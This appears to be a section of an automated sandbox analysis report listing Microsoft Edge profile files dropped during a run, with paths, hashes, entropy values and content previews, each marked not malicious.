SHA-256:	4039772469B7DFD2BD088D045A437CEA85AEB667AC27E810012D458201C5F69C
SHA-512:	71CC833CBA5B360B68CECB4FE5D66B58C6A69BF4AC648BFAA9FDF1601045C1C50BA829D05BC6372276BC3680A94C18A852071DD55B180213151DDC46870637C9
Malicious:	false
Preview:	2024/11/27-12:33:14.924 1f38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-12:33:14.926 1f38 Recovering log #3.2024/11/27-12:33:14.930 1f38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.242924913788836
Encrypted:	false
SSDEEP:	6:HC5Oi+q2PcNwi23oH+TcwtzjqEKj0QMxIFUt8YC5XZmw+YC5Q/VkwOcNwi23oH+f:PvLZYebvqBZFUt8D/+M54ZYebvqBaJ
MD5:	13FE7CF3F59F8B62F00F5A4C8B509569
SHA1:	EF4EEC3C089FBA2CAA0247CBBEE5E6F00670583F
SHA-256:	4039772469B7DFD2BD088D045A437CEA85AEB667AC27E810012D458201C5F69C
SHA-512:	71CC833CBA5B360B68CECB4FE5D66B58C6A69BF4AC648BFAA9FDF1601045C1C50BA829D05BC6372276BC3680A94C18A852071DD55B180213151DDC46870637C9
Malicious:	false
Preview:	2024/11/27-12:33:14.924 1f38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/27-12:33:14.926 1f38 Recovering log #3.2024/11/27-12:33:14.930 1f38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.244547935670638
Encrypted:	false
SSDEEP:	6:HC5dLQ+q2PcNwi23oH+TcwtpIFUt8YC5dLidNJZmw+YC5dLgqFNVkwOcNwi23oHs:8LVvLZYebmFUt8BL+NJ/+BLDF54ZYeb7
MD5:	33130C56CD5F08FC658456CC339A2E91
SHA1:	544E22848FC44815DD71570410ECD260C3E58602
SHA-256:	3635E6E89CA21FC6EAFBDA8891EA145908E31A358DA67ADB5399330359642CD0
SHA-512:	D44FB4705B3CA864A397EC1896489B9948573FFD8F2D6F6CB07075F8932FBFD0C64FAF4DDF673E99C93CCDB58E69910AABA1801F4ABCF6C25E45C9D1FF7D639C
Malicious:	false
Preview:	2024/11/27-12:32:54.802 d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-12:32:54.804 d58 Recovering log #3.2024/11/27-12:32:54.805 d58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.244547935670638
Encrypted:	false
SSDEEP:	6:HC5dLQ+q2PcNwi23oH+TcwtpIFUt8YC5dLidNJZmw+YC5dLgqFNVkwOcNwi23oHs:8LVvLZYebmFUt8BL+NJ/+BLDF54ZYeb7
MD5:	33130C56CD5F08FC658456CC339A2E91
SHA1:	544E22848FC44815DD71570410ECD260C3E58602
SHA-256:	3635E6E89CA21FC6EAFBDA8891EA145908E31A358DA67ADB5399330359642CD0
SHA-512:	D44FB4705B3CA864A397EC1896489B9948573FFD8F2D6F6CB07075F8932FBFD0C64FAF4DDF673E99C93CCDB58E69910AABA1801F4ABCF6C25E45C9D1FF7D639C
Malicious:	false
Preview:	2024/11/27-12:32:54.802 d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/27-12:32:54.804 d58 Recovering log #3.2024/11/27-12:32:54.805 d58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654129933257745
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM9SAELyKOMq+8HKkjucswRv8p3nVumDC:K0q+n0J99ELyKOMq+8HKkjuczRv89vC
MD5:	3E399779CB15CD9E96580F9E52F47960
SHA1:	755D569B42CEE7EAEED72350258F1E582DCC2E75
SHA-256:	48457C71C06D36502EC5B06B107FA845712D5B15521028A0C498D4B0ED3AF6F0
SHA-512:	7317632420B8C5EE16443E1583B6EFED450A1092FEF4258CECE3EFDDF680C184EB757C6654CDDCF67B6442B6402771DF9998E11173F9A03509624D518C3CDF7C
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46672366107656127
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0cOw:v7doKsKuKZKlZNmu46yjx0cp
MD5:	7281BF9EEB432EF8E847ED088DCF2D46
SHA1:	A8E92754FE965C9C35B31E2C5AFD3D3F8F76560A
SHA-256:	B4849D38761A536D6ACDB6DA4C02DBB25A8AAE10465F751FB6EF29B71A5DAC1D
SHA-512:	1E43379AB87AC9C7BF682B047E4F69C4FBF1251051B2623ABA05390FFF4BB11F42F340D6E25382FEC21C9D82C8F3ED8778087F969DCE34CC52118E3937576A95
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c5fa8ee5-2055-46e8-a229-fdb5add4ff6b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.557631219073193
Encrypted:	false
SSDEEP:	768:5/POB+7pLGLPLCWPXPfhg8F1+UoAYDCx9Tuqh0VfUC9xbog/OVXu/Bfrwip8tuX:5/POB+cPLCWPXPfhgu1jaKaBsdtE
MD5:	E5C66B70302263C87D07972DCBEB23D2
SHA1:	F0D6063351407CCE0510A34F84A3C5E1C1FEA94E
SHA-256:	782B3F22CA484B7E6C62F7DDDD3FB5EF3D492868565C83AB37F4DA40EC3B6BDA
SHA-512:	4DD1F99C342DDA6D6C69A5764B3A8386B96F2702F3B412ACAB4465A0E8C92BC506DAA1415C46FB001FD37FC73A342169A6D557050516E6A2CA664C25444EAED1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377202374725362","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377202374725362","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ccfe3730-5d38-43f8-b024-30803b7cb49e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10232973706178367
Encrypted:	false
SSDEEP:	12:+zKd2LzKd2qBspEjVl/PnnnnnnnnnnnvoQ/Eou:+ed2Led2JoPnnnnnnnnnnnv1j
MD5:	7A128BD30B38B4ACAACE40D7C9172844
SHA1:	5C45A553AD35E0C09C0A2F1713BEACB999B144CD
SHA-256:	36182E9F96443B6BBBFB09FD83535F45E8668720C9E4BBE879DFE7D9C8F497E9
SHA-512:	6E8FFC07A33A61C4339C5935C3285AB68F142BEFEDD85A3B89F00B3B51C25D96520B7BBD8A688AA723BD9A01E395639224338325596E7D0A3212203108874C91
Malicious:	false
Preview:	..-.............M.......p. M....3.-.....g..c.y...-.............M.......p. M....3.-.....g..c.y.........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8918206731268497
Encrypted:	false
SSDEEP:	384:fkLarvja7uRarMZaz7FaED+avooajqIaXSWa4jTa/Ts1nDaMv8s0yCKyoOy+yBMT:fkGT+C44AvkuVADejituO7b2rC
MD5:	91BF0135E27CA015C79F968296B1E888
SHA1:	89B7EA4F36B5F9AB25F6DFA5D22ED0D9561A644C
SHA-256:	8ABDB6C74CE33ED1B8A92AA09A0E4533F3A5B1635676AD231C7EA8CB7B593C15
SHA-512:	061963DD77D64C176BB67A4532A9C00FC8E539E2990C5FE1D5AFAB19C8D03FCD83D1BB1DA86D8289D8632D964AE70B6633986F58256DC1635E842F53953B02BC
Malicious:	false
Preview:	7....-..........3.-.......F`..........3.-......+..O.\SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.020867094168462
Encrypted:	false
SSDEEP:	6:/XntM+dl3sedhOmOuuuuuuuuuumMnill9IMnfsedhOuV:llc8BOuuuuuuuuuumMillG8h
MD5:	97D7E9663D2CF88A162B898B85756E1B
SHA1:	213CB0B0C8C552806F056A608BE78C3AB3A9F058
SHA-256:	F425634CE1280231FE11063EB57E1F8B5A1E6EE9DE0905BF0D6E40AECB7DF4A0
SHA-512:	F7BD24D9CE221E0D3097372C6E3C4085B87551B3903E188679975C0D9D5FADD70977FA42E152F66A746F55AE79376940702CA2789A845B1B6B7B9DDECDBAEF34
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1...0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............\|..r;...............#38_h.......6.Z..W.F.....W.......W............V.e................V.e................<9~.0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.2510740787772585
Encrypted:	false
SSDEEP:	6:HC56i4q2PcNwi23oH+TcwtfrK+IFUt8YC56X53JZmw+YC56X53DkwOcNwi23oH+t:ZvLZYeb23FUt84D/+4Z54ZYeb3J
MD5:	CC39568378564A48131C530624D914DE
SHA1:	6F39F4C2B1CFC1ABE2B1E390E4C7561B6B09A9D4
SHA-256:	825C14E10F6AD7658F413334E478A8EE3D55AAFDD06DEF4CBFCF758196B27D14
SHA-512:	6B8109143A4FB3B2F15028C749218A5B024241D6188146FE3D12D6715358A02F26EA258DCD12EB8DFB2259D5CCAD1E2D4C9BA046D9FF77663FE7B23138B835AB
Malicious:	false
Preview:	2024/11/27-12:32:55.458 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-12:32:55.459 17d0 Recovering log #3.2024/11/27-12:32:55.459 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.2510740787772585
Encrypted:	false
SSDEEP:	6:HC56i4q2PcNwi23oH+TcwtfrK+IFUt8YC56X53JZmw+YC56X53DkwOcNwi23oH+t:ZvLZYeb23FUt84D/+4Z54ZYeb3J
MD5:	CC39568378564A48131C530624D914DE
SHA1:	6F39F4C2B1CFC1ABE2B1E390E4C7561B6B09A9D4
SHA-256:	825C14E10F6AD7658F413334E478A8EE3D55AAFDD06DEF4CBFCF758196B27D14
SHA-512:	6B8109143A4FB3B2F15028C749218A5B024241D6188146FE3D12D6715358A02F26EA258DCD12EB8DFB2259D5CCAD1E2D4C9BA046D9FF77663FE7B23138B835AB
Malicious:	false
Preview:	2024/11/27-12:32:55.458 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/27-12:32:55.459 17d0 Recovering log #3.2024/11/27-12:32:55.459 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2048036899709444
Encrypted:	false
SSDEEP:	6:HC56Ep4q2PcNwi23oH+TcwtfrzAdIFUt8YC56ppJZmw+YC5683DkwOcNwi23oH++:hvLZYeb9FUt8u/+Jz54ZYeb2J
MD5:	3D2935A5734368DE3EAA0FA08B7E670C
SHA1:	636DEDE61914D69B1206FE96345ABF4709120321
SHA-256:	221354BE8904DAB0777634F5FB9CEFDD863D675784DF31D6808CB2F4736DE1C1
SHA-512:	E98FD18D048124F3322BF6CF63982D3843F538B299495493CB5A3DEC7475A658A45D6136DD4FAAA726C4B76DC785C71B654782D5E01F8450B576B87B5DA265AD
Malicious:	false
Preview:	2024/11/27-12:32:55.443 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-12:32:55.453 17d0 Recovering log #3.2024/11/27-12:32:55.454 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.2048036899709444
Encrypted:	false
SSDEEP:	6:HC56Ep4q2PcNwi23oH+TcwtfrzAdIFUt8YC56ppJZmw+YC5683DkwOcNwi23oH++:hvLZYeb9FUt8u/+Jz54ZYeb2J
MD5:	3D2935A5734368DE3EAA0FA08B7E670C
SHA1:	636DEDE61914D69B1206FE96345ABF4709120321
SHA-256:	221354BE8904DAB0777634F5FB9CEFDD863D675784DF31D6808CB2F4736DE1C1
SHA-512:	E98FD18D048124F3322BF6CF63982D3843F538B299495493CB5A3DEC7475A658A45D6136DD4FAAA726C4B76DC785C71B654782D5E01F8450B576B87B5DA265AD
Malicious:	false
Preview:	2024/11/27-12:32:55.443 17d0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/27-12:32:55.453 17d0 Recovering log #3.2024/11/27-12:32:55.454 17d0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24b38.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089523937449535
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kCTKKGf4OvtBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynLt5b7VLyMV/YoskFoz
MD5:	14FA54F7FEC3323E37823EFC2C4F0D18
SHA1:	8A4F3777578AAC75B9AF70B696CD1ED31FEAA66F
SHA-256:	EEA644F2C2DE8747D94B65CC6E3E95429D2AC333056F80BF7F482A9DBE8982FF
SHA-512:	7F38ED0A4FC42DAEF07518C2841BFDD26CC17AB44E65361A327AEF759AA716BED0C63318330595EF31150F7B25E3D342381252904F5D127B7BD7DCDBC5FF1D22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGf